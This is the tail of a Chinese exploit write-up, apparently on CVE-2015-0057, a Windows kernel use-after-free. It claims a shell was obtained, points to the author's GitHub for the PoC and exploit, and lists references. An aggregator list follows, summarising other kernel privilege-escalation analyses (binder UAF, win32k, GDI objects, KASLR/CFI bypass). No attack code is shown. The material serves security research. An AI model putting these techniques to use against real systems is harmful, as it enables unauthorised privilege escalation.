最終我們getshell,完整的Poc和Exp代碼在我的GitHub這個洞需要對 UAF 有深入理解,可以說是很難利用的了,知識點特別多,不過只要你會調試,不斷的檢驗自己的每一步是否正確,能不能實現都是時間問題,最後感謝40k0師傅和wjllz師傅給我的幫助WangYu師傅的ppt:https://www.blackhat.com/docs/asia-16/materials/asia-16-Wang-A-New-CVE-2015-0057-Exploit-Technology.pdf回調函數:https://media.blackhat.com/bh-us-11/Mandt/BH_US_11_Mandt_win32k_WP.pdfwjllz師傅的文章: https://bbs.pediy.com/thread-247281.htm0xgd師傅的文章: https://www.anquanke.com/post/id/163973#h2-5Udi的分析:https://blog.ensilo.com/one-bit-to-rule-them-all-bypassing-windows-10-protections-using-a-single-bit洩露內核地址: https://github.com/sam-b/windows_kernel_address_leaks/blob/master/HMValidateHandle/HMValidateHandle/HMValidateHandle.cpp40k0師傅的分析: https://blog.csdn.net/qq_35713009/article/details/102921859小刀志師傅的博客: https://xiaodaozhi.com/author/1/

相關焦點

  • CVE-2020-0423 Android內核提權漏洞分析
    這個漏洞大致上是binder的sender和receive端的對binder_node結構體的race condition轉化為uaf漏洞,作者進一步觸發了double free,結合後續巧妙的堆噴分配,利用slub和ksma機制,繞過kalsr和cfi保護。
  • CVE-2019-2215復現及分析
    id=1942公開的poc拿到了任意內核讀寫權限。後續文章https://hernan.de/blog/2019/10/15/tailoring-cve-2019-2215-to-achieve-root/。這個漏洞比較好用,並且利用公開的漏洞能夠root最新機器。
  • Linux 內核學習:環境搭建和內核編譯
    作為桌面系統,當對於windows而言,linux還是有許多不方便的,即使是最近幾年非常火的ubuntu,號稱可以替換windows的發行版,在日常使用的軟體方面,還是有不小的差距;再者,我們在工作中常常還是需要開發windows程序,而家裡更不合適了,家裡人基本上都用慣了windows,總不能強迫他們去用不懂的linux系統吧。
  • 乾貨 | CVE-2019-2215 Anroid 10復現及原理
    id=1942公開的poc拿到了拿到了任意內核讀寫權限。後續的文章https://hernan.de/blog/2019/10/15/tailoring-cve-2019-2215-to-achieve-root/,這個漏洞比較好用,並且公開的漏洞中能夠root最新的機器。
  • 基於 GDI 對象的 Windows 內核漏洞利⽤
    0x02 內核池內核池的類型內核池可類⽐於⽤戶態下的堆內存,不同之處在於它是在內核態中使⽤的。對分⻚池和⾮分⻚池來說,分配函數均為 ExAllocatePoolWithTag(),其中以第⼀個參數作為類型區分,若為 0x21,則分配到分⻚池,若為 0x29,則分配到⾮分⻚池。⼆者的釋放函數為 ExFreePoolWithTag() 和 ExFreePool()。
  • FROM UAF TO TFP0
    洩露Task Port內核態地址UAF漏洞常規利用方案是堆噴分配到先前釋放掉的空間,這樣我們擁有的指針指向的空間數據就可控,接下來嘗試洩露一個地址按照Ned Williamson的思路來分析利用方案,以下的分析順序並非按照Exp的順序進行,大家可自行對照那麼我們洩露什麼地址呢?
  • CVE-2017-0263 win32k.sys內核漏洞分析
    代碼の執行過程shellcode的分配首先是shellcode地址的分配,使用了結構體存儲利用相關的數據。tagWND內核地址。而MENUNAME欄位屬於WCHAR字符串格式,因此在初始化緩衝區時需要將所偶數值設置為不包含連續2位元組為0的情況,通過調用函數SetClassLongW為目標窗口對象設置MENUNAME欄位時,系統最終在內核中為窗口對象所屬的窗口類tagCLS對象的成員域分配並設置UNICODE字符串緩衝區。
  • 詳解Windows滲透測試工具Mimikatz的內核驅動
    +,該命令會從用戶模式啟動驅動程序,並請求為當前令牌分配SeLoadDriverPrivilege。內存池是內核對象,可以從指定的內存區域(分頁或非分頁)分配內存塊。其中的每一個類型都有特定的用例。分頁緩衝池是虛擬內存,可以將其分頁輸入或輸出(即:讀/寫)到磁碟上的頁面文件C:\pagefile.sys。這是推薦驅動程序使用的池。Nonpaged的池無法分頁,並且始終存在於RAM中。
  • CVE-2015-1805 iovyroot 查找內核地址
    2.3 使用kallsymsprint無法獲取到5個符號的地址上面我們已經講到有些zImage使用kallsymsprint沒法獲取我們需要的符號地址,比如我的小米2s,那麼怎麼辦呢?別著急,祭出我們的大殺器IDA神器+源碼引用(小米內核源碼的地址見附錄)2.4 IDA加載32位的zImage 使用32位的IDA加載zImage時,Processer Type選擇 ARM,勾選Manual load,點擊Ok。
  • 關鍵的Windows內核數據結構一覽(上)
    大部分文中提到的數據結構均由內核的paged抑或non-paged pool分配空間,這也是內核虛擬地址空間的一部分。 下列數據結構會在文中進行描述,單擊以查看詳情。process命令切換調試器的虛擬地址空間上下文到特定的進程,當在一個完全的內核轉儲中或現場使用內核調試器時進行用戶模式虛擬地址的實驗時,這是一個非常危險的操作。
  • Project Zero 對近幾年 iOS 內核漏洞利用技術的總結
    我最近希望獲得一個在線參考,以簡要概述近年來每種公共iOS內核利用程序的利用思路。由於不存在此類文檔,因此我決定自己創建一個。這篇文章總結了針對iOS 10到iOS 13的本地應用程式上下文中的原始iOS內核利用,重點是從漏洞初始原語到內核讀/寫的高級利用流程。
  • Windows 10 變身開發者利器:內置 Linux 內核,人人可用,像安裝驅動...
    微軟的開發者博客剛剛公布 [1] ,下一個 Windows10 版本,不僅自帶 Linux 內核,而且還會通過 Windows Update 安裝方式更新,簡單得就像安裝驅動程序一樣。當然,微軟指出 WSL 主要是面向應用程式的開發者,而不是日常的桌面環境。對於主力開發環境是 Windows ,但時不時需要用到 Linux 的開發者、老師或學生來說,堪稱提高效率的開源神器。
  • Linux內核中的內存管理
    最近在重讀Linux內核原始碼,又翻出來作為閱讀時的參考,整理後重發於本公眾號上。本文對Linux內存管理使用到的一些數據結構和函數作了簡要描述,而不深入到它們的內部。對這些數據結構和函數有了一個總體上的了解後,再針對各項分別作深入了解的時候,也許會簡單一些。
  • 小議Win32子系統中」對象歸屬權」導致的uaf漏洞
    ref 的減少,甚至部分場景會使得內核不考慮 ref 值直接 free 目標對象。本文旨在探討這樣一種場景導致的 uaf 漏洞:內核沒有正確處理 gdi 對象的所有權問題,使得 gdi 對象在被引用的狀態下仍然被 free,從而導致 uaf(本文分析調試的目標系統為 win7x86)。
  • Ubuntu 發現內核回歸系統崩潰漏洞,需儘快升級
    Ubuntu 是一個以桌面應用為主的 Linux 作業系統。它是一個開放原始碼的自由軟體,提供了一個健壯、功能豐富的計算環境,既適合家庭使用又適用於商業環境。Ubuntu 為全球數百個公司提供商業支持。
  • Linux內核分析 | CVE-2017-1000112(UDP Fragment Offload)
    (內核是通過SO_NO_CHECK的標誌來判斷用UFO機制還是non-UFO機制,這一點在剛剛的源碼中並不明顯。由於copy < 0,那麼在 non-UFO 路徑上觸發了重新分配skb的操作。skb_prev->len - maxfraglen; datalen = length + fraggap; skb_copy_and_csum_bits(skb_prev, maxfraglen,data + transhdrlen, fraggap, 0); }其中的 skb_copy_and_csum_bits 將舊的 skb_prev 中的數據(UFO路徑中的skb)複製到新分配的
  • Linux 系統內核的調試
    2.2.2 安裝與配置   下面我們需要應用kgdb補丁到Linux內核,設置內核選項並編譯內核。這方面的資料相對較少,筆者這裡給出詳細的介紹。  內核編譯完成後,使用scp命令進行將相關文件拷貝到target機上(當然也可以使用其它的網絡工具,如rcp)。
  • 什麼Linux,Linux內核及Linux作業系統
    但是它有不能稱為一個真正的或者說可用於生產的作業系統,因為它只實現了對計算機資源的簡單管理(也就是實現了一個作業系統內核),卻沒有編譯工具等其它作業系統必備的工具集成到其中。>,也就是對硬碟等存儲設備的管理,抽象為文件系統網絡設備管理,網絡設備可以看作一個特例由於Linux內核開源且免費的特點,越來越多的公司和個人參與到Linux內核的開發當中。
  • 三種多內核設計模式概述
    使用多處理器內核要求軟、硬體團隊之間進行更多的系統級設計合作。一些文獻將該類型系統稱之為分布式多處理系統,且仍將其歸類到AMP/ASMP系統總類別當中。   使用柵格模式的關鍵要求是首先要分割系統,然後找到一個合適的節點間通信系統。(儘管更高級的柵格系統能夠在運行期間對其自身進行重新配置,但柵格模式系統的設計者需要認真思考系統功能到處理節點的分配問題。)除分割之外,柵格系統具有三種設計模式中最少的高級設計約束。
  • Ubuntu 系統內核發現拒絕服務或執行任意代碼漏洞,需儘快升級
    Ubuntu 是一個以桌面應用為主的 Linux 作業系統。它是一個開放原始碼的自由軟體,提供了一個健壯、功能豐富的計算環境,既適合家庭使用又適用於商業環境。Ubuntu 為全球數百個公司提供商業支持。